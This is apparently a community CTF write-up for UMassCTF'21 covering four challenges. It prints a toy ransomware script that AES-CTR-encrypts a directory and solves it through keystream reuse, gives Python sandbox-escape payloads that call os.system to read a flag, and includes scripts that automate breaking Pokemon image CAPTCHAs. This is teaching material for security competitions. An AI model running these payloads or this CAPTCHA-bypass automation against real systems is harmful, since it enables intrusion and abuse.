# UMassCTF'21 - By CTF Community ## Crypto ### Malware Challenge Description ``` Challenge 78 Solves malware 434 We've identified some ransomeware on one of our employee's systems, but it seems like it was made by a script kiddie. Think you can decrypt the files for us? http://static.ctf.umasscybersec.org/crypto/768d923e-9263-4433-a8d3-a595b30d210e/malware.zip ``` The link refer to a zipfile which constaints: * malware.py * files.zip The malware python code is the following: ``` from Crypto.Cipher import AES from Crypto.Util import Counter import binascii import os key = os.urandom(16) iv = int(binascii.hexlify(os.urandom(16)), 16) for file_name in os.listdir(): data = open(file_name, 'rb').read() cipher = AES.new(key, AES.MODE_CTR, counter = Counter.new(128, initial_value=iv)) enc = open(file_name + '.enc', 'wb') enc.write(cipher.encrypt(data)) iv += 1 ``` It ciphers the content of the current folder by using AES-CTR mode. However, the IV is reinitialized for each file and increase by 1. As this mode works like a stream cipher, if the first file can be deciphered and is sufficiently long, we can decipher the flag... Wait, where is the flag ! The files.zip constaints: * CTF-favicon.png.enc * flag.txt.enc * malware.py.enc * shopping_list.txt.enc The flag is encrypted and the known file is "CTF-favicon.png.enc" which is on this webpage https://ctf.umasscybersec.org/ ![](https://i.imgur.com/HfYy6KE.png) Ok, let script the solution and hope that files are in the good order ! ``` with open("CTF-favicon.png","r") as fp: pt=fp.read() with open("CTF-favicon.png.enc","r") as fp: ct=fp.read() for k in range(0,64,16): key=[] l=k p=0 for i in range(len(ct)): key.append(ord(pt[i])^ord(ct[i])) with open("flag.txt.enc","r") as fp: flag=fp.read() print(key[0:64]) tmp="" print(len(flag)) for i in range(len(flag)-p): tmp+= chr(ord(flag[i+p])^key[i+l]) print(tmp) raw_input() ``` and gives: ```shell= python solve.py [93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69] 38 珯}����Ab��H ��۳`�WȽ,���>EI�) [93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69] 38 �����o$^�WjF����c Ms%ؼ��-��H� [93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69] 38 ��u�W�e���R#�*��p���14О�z [93, 23, 210, 151, 59, 191, 38, 247, 165, 46, 35, 11, 107, 160, 36, 42, 96, 125, 209, 30, 175, 120, 5, 5, 7, 25, 53, 130, 37, 57, 11, 158, 151, 41, 49, 119, 63, 194, 173, 147, 97, 70, 222, 79, 49, 20, 86, 18, 239, 213, 60, 185, 111, 108, 76, 111, 104, 175, 86, 154, 6, 157, 140, 69] 38 UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0} ``` **UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}** ## Misc ### ekrpat ``` ekrpat 322 I made so few errors when creating this jail. nc 34.72.64.224 8083 nc 35.231.20.75 8083 Created by Thomas (Seltzerz #6678) hint: Look down at where you're typing. ``` Ok, typical hint of keyboard ciphering, Let's connect with netcat ```shell= kali@kali:~$ nc 34.72.64.224 8083 Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv ``` Or, by using http://wbic16.xedoloh.com/dvorak.html ```shell= You've broken my code! Escape without the help of eval, exec, import, open, os, read, system, and write. First, enter 'dvorak'. You will then get another input which you can use try to break out of the jail. ``` Then, we are ask to break the python jail (https://anee.me/escaping-python-jails-849c65cf306e) **Try 1** ```shell= print(dir(__builtins__)) ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip'] ``` **Try 2** ```shell= >>> __builtins__.__dict__['open'] Play by the rules!!! Try again. ``` **Try 3** ```shell= print(__builtins__.__dict__['OPEN'.lower()]) <built-in function open> <built-in function open> <built-in function open> <built-in function open> <built-in function open> <built-in function open> <built-in function open> <built-in function open> ``` **Try 4** ```shell= __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls') Dockerfile ekrpat.py flag ojal. ynetd ``` **Try 5** ```shell= __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat flag') UMASS{dvorak_rules} ``` **UMASS{dvorak_rules}** ## Web ### PikCha (1) ``` Challenge 153 Solves PikCha 241 http://104.197.195.221:8084 http://34.121.84.161:8084 Created by Soul#8230 ``` Ok, we need to identify pokemon (in english...) ![](https://i.imgur.com/jWpCZaz.png) Ok, when looking into the details, we see the following jwt session token. ``` eyJhbnN3ZXIiOls3NCwyNywzNSw4NV0sImNvcnJlY3QiOjAsImltYWdlIjoiLi9zdGF0aWMvY2hhbGwtaW1hZ2VzL2dFYUJ0U3pCaHMuanBnIn0.YGIMEw.bzR3iZ4GfwRpeaJX27U04PgGRRo ``` and it contains (https://jwt.io/) ``` { "answer": [ 74, 27, 35, 85 ], "correct": 0, "image": "./static/chall-images/gEaBtSzBhs.jpg" } ``` After trial and error, the awaited answer is the name of the pokemon. In this case, after finding any pokemon database online [Geodude ,Sandshrew, Clefairy, Dodrio ]. Let's code it: ``` import requests import base64 import json import time with open("poke.txt","r") as fp: pokemon=fp.readlines() def get_pokemon(cookie,pokemon): cookie=cookie.split(".")[0] r = len(cookie)%4 cookie+= "="*(4-r) cookie = base64.b64decode(cookie) name = json.loads(cookie)["answer"] score = json.loads(cookie)["correct"] ans="" for elt in name: ans+=pokemon[elt-1].replace("\t"," ").split(" ")[2].strip()+" " return score,ans # hackit s = requests.session() r = s.get('http://104.197.195.221:8084/') for i in range(500): if r.status_code ==200 and r.text.find("UMASS{")>-1: print(r.text) score,ans = get_pokemon(s.cookies.get_dict()["session"],pokemon) print(score,ans) print(ans) r = s.post('http://104.197.195.221:8084/',data = {'guess':ans.strip()}) time.sleep(1) print(r.text) ``` ```shell= kali@kali:~/Desktop/UMASS/web$ python3 pokemon.py 0 Bulbasaur Hitmonchan Tentacruel Weezing Bulbasaur Hitmonchan Tentacruel Weezing 1 Poliwhirl Pidgeot Raichu Gloom Poliwhirl Pidgeot Raichu Gloom 2 Mewtwo Weezing Venusaur Squirtle Mewtwo Weezing Venusaur Squirtle 3 Charmander Abra Zubat Doduo Charmander Abra Zubat Doduo ... 497 Seaking Onix Drowzee Omanyte Seaking Onix Drowzee Omanyte 498 Poliwrath Porygon Clefable Spearow Poliwrath Porygon Clefable Spearow 499 Pidgeotto Venonat Rhyhorn Abra Pidgeotto Venonat Rhyhorn Abra UMASS{G0tt4_c4tch_th3m_4ll_17263548} ``` **UMASS{G0tt4_c4tch_th3m_4ll_17263548}** ### PikCha2 ``` Challenge 10 Solves PikCha2 500 No more mistakes! No we'll see who's the best pokemon master out there! http://104.197.195.221:8085 ``` In this one, no more easy hacking. We need to identify the pokemon, and if possible automatically. Let's do some naive image recognition ! #### Create a Pokedex In order to recognize the pokemon, we need a training set. We recycle the code of PikCha (1) as we know the name of the pokemon. ``` import requests import base64 import json import time import shutil with open("poke.txt","r") as fp: pokemon=fp.readlines() def get_pokemon(cookie,pokemon): cookie=cookie.split(".")[0] r = len(cookie)%4 cookie+= "="*(4-r) cookie = base64.b64decode(cookie) name = json.loads(cookie)["answer"] score = json.loads(cookie)["correct"] ans="" for elt in name: ans+=pokemon[elt-1].replace("\t"," ").split(" ")[2].strip()+" " return score,ans # get img url def html(txt): begin= txt.find("images/") end = txt.find(".jpg") return txt[begin+len("images/"):end] # Download img def dl(image_url,filename): print(image_url) # Open the url image, set stream to True, this will return the stream content. r = requests.get(image_url, stream = True) # Check if the image was retrieved successfully if r.status_code == 200: # Set decode_content value to True, otherwise the downloaded image file's size will be zero. r.raw.decode_content = True # Open a local file with wb ( write binary ) permission. with open("./pokedex/"+filename,'wb') as f: shutil.copyfileobj(r.raw, f) print('Image sucessfully Downloaded') else: print('Image Couldn\'t be retreived') # hackit s = requests.session() r = s.get('http://104.197.195.221:8084/') for i in range(1000): if r.status_code ==200 and r.text.find("UMASS{")>-1: print(r.text) score,ans = get_pokemon(s.cookies.get_dict()["session"],pokemon) print(score,ans) picture=html(r.text)+".jpg" print(picture) dl('http://104.197.195.221:8084/static/chall-images/'+picture,ans.strip().replace(" ","-")+".jpg") r = s.post('http://104.197.195.221:8084/',data = {'guess':ans.strip()+"1"}) time.sleep(1) print(r.text) ``` The aim of this step is get enough images (at least 4 different picture) for each starting pokemon (the one on the left). Example provided for Abra (Yes, I know the pokemon name know) ![](https://i.imgur.com/ZgiXbsQ.jpg) Abra-Jigglypuff-Dodrio-Metapod.jpg ![](https://i.imgur.com/4u9B6Xk.jpg) Abra-Golbat-Magneton-Nidoran♂.jpg ![](https://i.imgur.com/XLqhs8W.jpg) Abra-Kadabra-Spearow-Sandslash.jpg ![](https://i.imgur.com/UuU0I1Z.jpg) Abra-Exeggutor-Cloyster-Ekans.jpg We observe that each pokemon to be identified is generated by a reference picture which is only rotated (no scaling, no shearing, no ...) So, we hope that a naive patch recognition works. We extract a patch composed of all the lines from the challenge picture associated to only 10 columns. The idea is to move this windows (img[:,i:i+10,:]) from left to right to identify the successive pokemon. This patch is then compared with the 10 first columns of each picture of the previously scraped database (see the 4 images above as an example of the content of the databse). The patch is found when all the pixels are identical, that is to say when the sum of all pixels difference is nil (np.sum(patch-elt[:,0:10,:])) . The pokemon name is extracted from the file name which is the correct solution of PikCha(1). Due to this naive approach, some cases fail (if the database is uncomplete) and the user is asked to provided the pokemon name.. Note: In this case, the solution is the pokemon index and not the pokemon name ! ``` import requests import base64 import json import time import shutil from os import listdir from os.path import isfile, join import imageio import numpy as np from shutil import copyfile # Read pokemon database with open("poke.txt","r") as fp: _pokemon=fp.readlines() # pokemon name pokemon=[x.replace("\t"," ").split(" ")[2].strip() for x in _pokemon] # get file names def allfile(mypath): return [f for f in listdir(mypath) if isfile(join(mypath, f))] mugshot= allfile("./pokedex") # create pokedex pokedex=[] for elt in mugshot: pokedex.append(imageio.imread("./pokedex/"+elt)) def identify(patch,pokedex,S): a,b,_ = patch.shape for i,elt in enumerate(pokedex): c,d,_ = elt.shape if a<=c: if np.sum(patch-elt[0:a,0:S,:])==0: return True,i else: if np.sum(patch[0:c,:,:]-elt[:,0:S,:])==0: return True,i return (False,elt) def naive(pokedex,mugshot): print("Analysis ...") S=10 bandit = imageio.imread("./test.jpg") m,n,_ = bandit.shape # all position solution=[] for k in range(n-S): patch = bandit[:,k:k+S,:] boole,ans=identify(patch,pokedex,S) if boole: solution.append(mugshot[ans].split("-")[0]) else: boole,ans=identify(patch[::-1,:,:],pokedex,S) if boole: solution.append(mugshot[ans].split("-")[0]) return solution # get img url def html(txt): begin= txt.find("images/") end = txt.find(".jpg") return txt[begin+len("images/"):end] # Download img def dl(image_url,filename): print(image_url) # Open the url image, set stream to True, this will return the stream content. r = requests.get(image_url, stream = True) # Check if the image was retrieved successfully if r.status_code == 200: # Set decode_content value to True, otherwise the downloaded image file's size will be zero. r.raw.decode_content = True # Open a local file with wb ( write binary ) permission. with open("./"+filename,'wb') as f: shutil.copyfileobj(r.raw, f) print('Image sucessfully Downloaded') else: print('Image Couldn\'t be retreived') # hackit s = requests.session() r = s.get('http://104.197.195.221:8085/') for i in range(500): if r.status_code ==200 and r.text.find("UMASS{")>-1: print(r.text) print(r.text) # dl picture picture=html(r.text)+".jpg" dl('http://104.197.195.221:8085/static/chall-images/'+picture,"test.jpg") # Identify pokemon solv=naive(pokedex,mugshot) if len(solv)!=4: print("Uncomplete") print(solv) ok=True while ok: print("Please enter pokemon list") inp=str(input()).strip() solv=inp.split(" ") try: if all([pokemon.index(x)>-1 for x in solv]): ok=False except: pass copyfile("test.jpg","./pokedex/"+inp.replace(" ","-")+".jpg") ans=[str(pokemon.index(x)+1) for x in solv] ans=" ".join(ans) # Answer is the pokemon number r = s.post('http://104.197.195.221:8085/',data = {'guess':ans.strip()}) time.sleep(1) print(r.text) ``` It takes ages but : ``` python3 pokemon.py http://104.197.195.221:8085/static/chall-images/weDbghItyI.jpg Image sucessfully Downloaded Analysis ... http://104.197.195.221:8085/static/chall-images/DWQOXUAQnN.jpg Image sucessfully Downloaded Analysis ... http://104.197.195.221:8085/static/chall-images/xTcgvIqRjt.jpg Image sucessfully Downloaded Analysis ... ``` Finally ! **UMASS{1ts_m3_4nd_y0u!!P0k3m0n}** That's all folks - Electro